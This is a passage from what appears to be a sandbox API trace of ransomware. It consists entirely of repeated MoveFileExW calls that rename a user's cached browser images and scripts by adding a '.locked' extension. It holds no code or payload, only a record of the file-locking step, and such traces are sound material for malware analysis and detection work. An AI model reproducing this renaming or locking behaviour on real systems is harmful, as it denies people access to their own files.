files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png.locked"), dwFlags=0x2) returned 1 [0145.488] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png.locked"), dwFlags=0x2) returned 1 [0145.491] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png.locked"), dwFlags=0x2) returned 1 [0145.498] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png.locked"), dwFlags=0x2) returned 1 [0145.501] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png.locked"), dwFlags=0x2) returned 1 [0145.654] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png.locked"), dwFlags=0x2) returned 1 [0145.658] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png.locked"), dwFlags=0x2) returned 1 [0145.661] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png.locked"), dwFlags=0x2) returned 1 [0145.664] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png.locked"), dwFlags=0x2) returned 1 [0145.700] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\adition[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\adition[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\adition[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\adition[1].js.locked"), dwFlags=0x2) returned 1 [0146.108] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.113] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png.locked"), dwFlags=0x2) returned 1 [0146.176] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.179] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png.locked"), dwFlags=0x2) returned 1 [0146.192] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.197] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.208] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.214] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.226] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.241] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.246] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.267] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.276] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.285] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.648] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png.locked"), dwFlags=0x2) returned 1 [0146.656] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.660] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.670] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.698] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.711] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.722] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.726] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.731] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.921] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.926] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg.locked"), dwFlags=0x2) returned 1 [0146.935] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbc04o2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 